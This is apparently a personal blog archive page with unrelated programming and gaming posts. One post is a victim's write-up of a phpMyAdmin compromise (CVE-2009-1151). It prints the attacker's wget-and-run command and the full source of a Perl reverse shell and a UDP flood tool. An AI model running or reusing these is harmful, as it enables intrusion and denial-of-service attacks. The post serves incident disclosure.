project-2501.net » Uncategorized

Post-Increment Variable Bug

Matthew — Tue, 08 Nov 2011 10:38:06 +0000

Found this little bug today in some old (untested code). I was amused that the code would have worked using pre-increment operator (and yet, still been wrong).

# Simplified example, in the original code this was 3 lines long
# Assume use_record_map = false;
record_id = (use_record_map) ? lookup_record_id(foo) : record_id++;

Pythons lack of ++ / — operators makes a little more sense now (one extra character in exchange for removing several type of bugs. Even if they are rather obvious bugs).

New Car :)

Matthew — Tue, 18 Oct 2011 11:27:21 +0000

hacked

Matthew — Tue, 01 Sep 2009 07:52:56 +0000

Yep, I was hacked 5 days ago. Seems I’ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).

From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you wanted. CVE-2009-1151. An implementation of that attack is available from GNU Citizen

Of course after that, you’re able to do anything the web server can. The command that was run on my server was:

/admin/phpmyadmin/config/config.inc.php?c=cd%20/tmp;wget%20mixtheremix.ucoz.com/robot.txt;perl%20robot.txt;rm%20-rf%20robot.txt

ucoz.com is a free website service. I was also unable to recover robot.txt

The script appear to download and execute two scripts:
back.txt

#!/usr/bin/perl
use IO::Socket;
$system = '/bin/bash';
$ARGC=@ARGV;
print "--== Fucking Machine ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Spawning Shell \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== Thuraya Team ==-- \n\n";
system("unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);

udp.pl

#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 \n";
printf "for any info vizit http://hacking.3xforum.ro/ \n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "Amu Floodez $ip pe portu $port \n";
printf "daca nu pica in 10 min dai pe alt port \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

What I’ve learnt:

Keep PHPMyAdmin up to date, because they suck at security (The whole idea of a PHP script being able to write a PHP script is stupid)
(Failing the last point) Don’t leave un-maintained PHP scripts in publicly accessible locations
Investigate in a way to disable system/eval in PHP (with a whitelist)

3.2 Rolling FoL SS HoTs

Matthew — Mon, 22 Jun 2009 08:31:21 +0000

Holy Paladin changes in 3.2 seem pretty significant, I’m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have n number of buffs up on the target, and WoW just consolidates them into one (As oppose to old ignite rolling, where each time the debuff was added, the damage was added to the previous debuff and the time reset, resulting in massive damage with lots of luck).

I’m 95% sure the FoL SS HoT won’t work like this, but I wanted to test how it would work at current gear levels.

0	5000									5000
0.5										0
1	417									417
1.5		5000								5000
2	417									417
2.5		417								417
3	417		5000							5417
3.5		417								417
4	417		417							833
4.5		417		5000						5417
5	417		417							833
5.5		417		417						833
6	417		417		5000					5833
6.5		417		417						833
7	417		417		417					1250
7.5		417		417		5000				5833
8	417		417		417					1250
8.5		417		417		417				1250
9	417		417		417		5000			6250
9.5		417		417		417				1250
10	417		417		417		417			1667
10.5		417		417		417		5000		6250
11	417		417		417		417			1667
11.5		417		417		417		417		1667
12	417		417		417		417		5000	6667
12.5		417		417		417		417		1667
13			417		417		417		417	1667
13.5		417		417		417		417		1667
14			417		417		417		417	1667
14.5				417		417		417		1250
15			417		417		417		417	1667
15.5				417		417		417		1250
16					417		417		417	1250
16.5				417		417		417		1250
17					417		417		417	1250
17.5						417		417		833
18					417		417		417	1250
18.5						417		417		833
19							417		417	833
19.5						417		417		833
20							417		417	833
20.5								417		417
21							417		417	833
21.5								417		417
22									417	417
22.5								417		417
23									417	417
23.5										0
24									417	417
										90000

The above table is 12 seconds of FoL spam on a target with SS. It uses an average FoL heal amount of 5,000 every 1.5s (yes, yes). After 12 seconds, the HoT is full and provides 1,667 healing ever 0.5 seconds. Which is pretty absurd

Honestly I like our niche as tank healers, and I feel the changes in 3.2 will not do much for raid healing and with regen nerfs, our tank healing will suffer too, leaving us without a niche.

My preference would be to keep beacon as it is in 3.1 (for topping up OTs), take the regen nerfs and have a FoL (like above) that’s useful for Tank Healing. We still wont be able raid heal, but we’ll have a rotation, have to worry about mana, and we’ll keep our niche.

Edit GC has confirmed that it will not stack or roll in any way. At the moment it can also be overwritten too, so FoL spam = no HoT ticks.

I before E except after C…

Matthew — Wed, 03 Jun 2009 00:35:06 +0000

I before E (yuccamuffin.com)

$words = file('/usr/share/dict/words');
$words = array_map('trim', $words);

// Ignore words with any punctuation
$words = array_filter($words, 'ctype_alpha');

foreach($words as $word)
{
// ignore proper nouns (they start with an uppercase letter)
if(ctype_upper($word[0]))
{
continue;
}

if(preg_match("#[^c]ei#", $word) === 1)
{
echo "$word\n";
}
}

?>

absenteeism
ageing
ageings
ageism
agreeing
albeit
anteing
apartheid
atheism
atheist
atheistic
atheists
aweigh
bantamweight
bantamweights
beige
being
beings
bingeing
birdieing
blueing
boogieing
caffeine
canoeist
canoeists
casein
clueing
codeine
counterfeit
counterfeited
counterfeiter
counterfeiters
counterfeiting
counterfeits
counterweight
counterweights
cueing
cuneiform
decaffeinate
decaffeinated
decaffeinates
decaffeinating
decreeing
deice
deiced
deicer
deicers
deices
deicing
deification
deified
deifies
deify
deifying
deign
deigned
deigning
deigns
deism
deities
deity
dieing
disagreeing
dyeing
edelweiss
emceeing
facsimileing
featherweight
featherweights
feign
feigned
feigning
feigns
feint
feinted
feinting
feints
feistier
feistiest
feisty
filigreeing
flambeing
fleeing
flyweight
flyweights
foreign
foreigner
foreigners
foreseeing
forfeit
forfeited
forfeiting
forfeits
forfeiture
freeing
freight
freighted
freighter
freighters
freighting
freights
fricasseeing
garnisheeing
geeing
geisha
geishas
gesundheit
glueing
gneiss
guaranteeing
heavyweight
heavyweights
heifer
heifers
height
heighten
heightened
heightening
heightens
heights
heinous
heinously
heinousness
heir
heiress
heiresses
heirloom
heirlooms
heirs
heist
heisted
heisting
heists
herein
heterogeneity
hieing
hoeing
homogeneity
horseshoeing
hundredweight
hundredweights
inveigh
inveighed
inveighing
inveighs
inveigle
inveigled
inveigles
inveigling
kaleidoscope
kaleidoscopes
kaleidoscopic
kneeing
lei
leis
leisure
leisurely
leitmotif
leitmotifs
lightweight
lightweights
middleweight
middleweights
monotheism
monotheist
monotheistic
monotheists
neigh
neighbor
neighbored
neighborhood
neighborhoods
neighboring
neighborliness
neighborly
neighbors
neighed
neighing
neighs
neither
nonpareil
nonpareils
nuclei
nucleic
obeisance
obeisances
obeisant
onomatopoeia
onomatopoeic
outweigh
outweighed
outweighing
outweighs
overseeing
overweight
pantheism
pantheist
pantheistic
pantheists
paperweight
paperweights
peeing
pennyweight
pennyweights
pharmacopoeia
pharmacopoeias
pieing
plebeian
plebeians
poltergeist
poltergeists
polytheism
polytheist
polytheistic
polytheists
protein
proteins
pureeing
queueing
refereeing
reign
reigned
reigning
reigns
reimburse
reimbursed
reimbursement
reimbursements
reimburses
reimbursing
reimpose
reimposed
reimposes
reimposing
rein
reincarnate
reincarnated
reincarnates
reincarnating
reincarnation
reincarnations
reindeer
reindeers
reined
reinforce
reinforced
reinforcement
reinforcements
reinforces
reinforcing
reining
reinitialize
reinitialized
reins
reinsert
reinserted
reinserting
reinserts
reinstate
reinstated
reinstatement
reinstates
reinstating
reinterpret
reinterpretation
reinterpretations
reinterpreted
reinterpreting
reinterprets
reinvent
reinvented
reinventing
reinvents
reinvest
reinvested
reinvesting
reinvests
reissue
reissued
reissues
reissuing
reiterate
reiterated
reiterates
reiterating
reiteration
reiterations
reparteeing
reveille
seeing
seeings
segueing
seismic
seismically
seismograph
seismographic
seismographs
seismologist
seismologists
seismology
seize
seized
seizes
seizing
seizure
seizures
sheik
sheikdom
sheikdoms
sheikh
sheikhs
sheiks
shoeing
sightseeing
singeing
skein
skeined
skeining
skeins
sleigh
sleighed
sleighing
sleighs
snowshoeing
sortieing
sovereign
sovereigns
sovereignty
spontaneity
spreeing
squeegeeing
stein
steined
steining
steins
stymieing
surfeit
surfeited
surfeiting
surfeits
surveillance
teeing
theeing
their
theirs
theism
theist
theistic
theists
therein
throeing
tieing
tingeing
tiptoeing
toeing
treeing
trueing
twingeing
underweight
unfeigned
unseeing
unveil
unveiled
unveiling
unveils
vagueing
veil
veiled
veiling
veils
vein
veined
veining
veins
villein
villeins
vogueing
weeing
weigh
weighed
weighing
weighs
weight
weighted
weightier
weightiest
weightiness
weighting
weightless
weightlessness
weightlifter
weightlifters
weightlifting
weights
weighty
weir
weird
weirded
weirder
weirdest
weirding
weirdly
weirdness
weirdo
weirdos
weirds
weired
weiring
weirs
welterweight
welterweights
wherein

obsessed with anonymous functions

Matthew — Wed, 21 Jan 2009 08:30:32 +0000

Any normal person would just live without anonymous functions in PHP, they are buggy and non trivial ones are pain to write and read. I’m not sure why I seam to obsess over them.

At the very least, the below code will test unicode in your dev tools

Edit: Of course after I wrote that I discovered that WordPress was ignoring the λ character. A little fix from here and everything is working again.

// Create an 'anonymous' function without specifying arguments.
// Arguments are considered to be named $a to $z
function λ($body)
{
$args = '';
if(preg_match_all('#(\$[a-z])\b#', $body, $matches, PREG_SET_ORDER) !== 0)
{
$allArgs = array();
foreach($matches as $match)
{
$allArgs[] = $match[1];
}
$allArgs = array_unique($allArgs);
sort($allArgs);
$args = implode(',', $allArgs);
}

// Make sure it's terminated (we don't care about extra trailing ';')
return create_function($args, $body . ';');
}

// Creating
$multiply = λ('return $a * $b');
echo "23 * 65 = " . $multiply(23, 65) . "\n";

// Only $a to $z are reserved
$bSquaredByA = λ('$unused = "Hello"; $b_square = $b * $b; return $b_square * $a');
echo "8 * 6^2 = " . $bSquaredByA(8, 6) . "\n";

// Embedding in strings
$square = λ('return $a * $a');
$numbers = array(2,4,8);
foreach($numbers as $num)
{
echo "$num * $num = {$square($num)}\n";
}

// Note you don't have to use $a for your first argument, and $b for your second. They just
// Need to be in the right order
$print_two_things = λ('echo "Second: " . $y . "\n"; echo "First: " . $d . "\n";');
$print_two_things("Hello", "World!");

// Practical use
$numbers = array(1,1,1,2,2,3,3,3,4,5,5,6,7,8,9);
$above_three = array_filter($numbers, λ('return $x > 3;'));
echo "Numbers above three = " . implode(", ", $above_three) . "\n";

?>

auth.log noise

Matthew — Mon, 07 Jul 2008 08:42:56 +0000

Below are the top 50 login names when trying to gain access to this web server over the last 4 weeks

Name	Attempts
root	3273
admin	119
test	110
mysql	44
guest	41
user	37
oracle	37
temp	25
sales	24
info	21
webmaster	21
postgres	21
dan	18
robert	18
student	17
ftpuser	17
ftp	17
richard	16
apache	16
web	15
adm	15
webadmin	15
john	15
paul	15
office	15
tony	14
james	14
postfix	13
michael	13
alex	13
david	13
amanda	13
adam	12
mike	12
staff	12
steven	12
recruit	12
jeff	12
pgsql	12
library	12
username	12
frank	12
susan	11
cyrus	11
dave	11
gast	10
postmaster	10
nagios	10
martin	10
admins	10

Note: No external connections are allowed to log in as root (of course)
Note2: After 5 failed login attempt, the IP address is temporary banned (fail2ban)

import life

Matthew — Fri, 20 Jun 2008 10:00:56 +0000

A console based implementation of Conway’s Game of Life in Python.
As fascinating as it is useless.

#!/usr/bin/python

import sys
import random
import time
import os
import copy

WIDTH = 32
HEIGHT = 16

class Grid:
def __init__(self, width, height):
self.width = width
self.height = height
self.create_blank_grid()

def create_blank_grid(self):
self.grid = []

for x in range(0, self.width):
self.grid.append([0 for y in range(0, self.height)])

def seed(self, chance = 0.4):
for x in range(0, self.width):
for y in range(0, self.height):
if random.random() < chance:
self.grid[x][y] = 1
else:
self.grid[x][y] = 0

def add_glider(self):
self.grid[1][0] = 1
self.grid[2][1] = 1
self.grid[0][2] = 1
self.grid[1][2] = 1
self.grid[2][2] = 1

def __str__(self):
buffer = ''

for y in range(0, self.height):
for x in range(0, self.width):
str = ' '
if self.grid[x][y] == 1:
str = '#'

buffer += str
buffer += '\n';
buffer += '\n';

return buffer

def get_number_neighbours(self, x, y):

def get_value(i,j):
try:
return self.grid[i][j]
except:
return 0

number_neighbours = get_value(x-1, y-1) + get_value(x, y-1) + get_value(x+1, y-1) + \
get_value(x-1, y) + get_value(x+1, y) + \
get_value(x-1, y+1) + get_value(x, y+1) + get_value(x+1, y+1)

return number_neighbours

def tick(self):
new_grid = copy.deepcopy(self.grid)

for x in range(0, self.width):
for y in range(0, self.height):

number_neighbours = self.get_number_neighbours(x,y)

if self.grid[x][y] == 1:
if number_neighbours < 2:
new_grid[x][y] = 0
elif number_neighbours > 3:
new_grid[x][y] = 0
else:
if number_neighbours == 3:
new_grid[x][y] = 1

self.grid = new_grid

if __name__ == "__main__":
grid = Grid(WIDTH, HEIGHT)
# chance for a cell to be 'alive'
grid.seed(0.2)
# grid.add_glider()

# 100 generations
for x in range(0, 100):
os.system('clear')
print grid
grid.tick()
time.sleep(1)

Pretending PHP doesn’t suck

Matthew — Thu, 19 Jun 2008 08:00:44 +0000

// Perhaps the simplest practical use of a fold?
//
// (While this is fairly consise (even in PHP) it calculates the length of a
// string 2n-2 times [which is n-2 times more than needed])
function getLongestWord($words)
{
$fun = create_function('$a,$b', 'return (strlen($a) > strlen($b)) ? $a : $b;');

return array_reduce($words, $fun);
}

// This looks a little better, but it loses a lot of the simplicity of the above
function getLongestWord_2($words)
{
$map = create_function('$a', 'return array($a, strlen($a));');
$fold = create_function('$a,$b', 'return ($a[1] > $b[1]) ? $a : $b;');

$word = array_reduce(array_map($map, $words), $fold);

return $word[0];
}

$words = array('a', 'bb', 'ccc', 'dd', 'eeee', 'fff', 'gg');

var_dump(getLongestWord($words));
// string(4) "eeee"

var_dump(getLongestWord_2($words));
// string(4) "eeee"

?>

Is there an even simpler way to find the longest string in an array?

WoW Progress

Matthew — Mon, 01 Oct 2007 14:21:28 +0000

First trip to Kara on the weekend, being mostly a PUG we started off really poorly. We eventually replaced our off tank (who was arms :/) with a well geared (epic) tank which helped substantially. Though, we still only managed to down Huntsman and Maiden of Virtue.

I have most of the standard instances down pretty well (ran SV the other night with a naked healer without any trouble ). Though without a good group of people, heroics seem really hits and miss (so far, mostly miss) which is a little annoying as the progression seems pretty steep after the standard 5 mans. As I (slowly) improve I’m sure it will get better.

My new progression target is Exalted with Darnassus. Tonight I managed to pick up ~4000 rep simply by doing a few very low level quests, hopefully the next 15,000 well be just as easy

Huntsman

Maiden

Murmur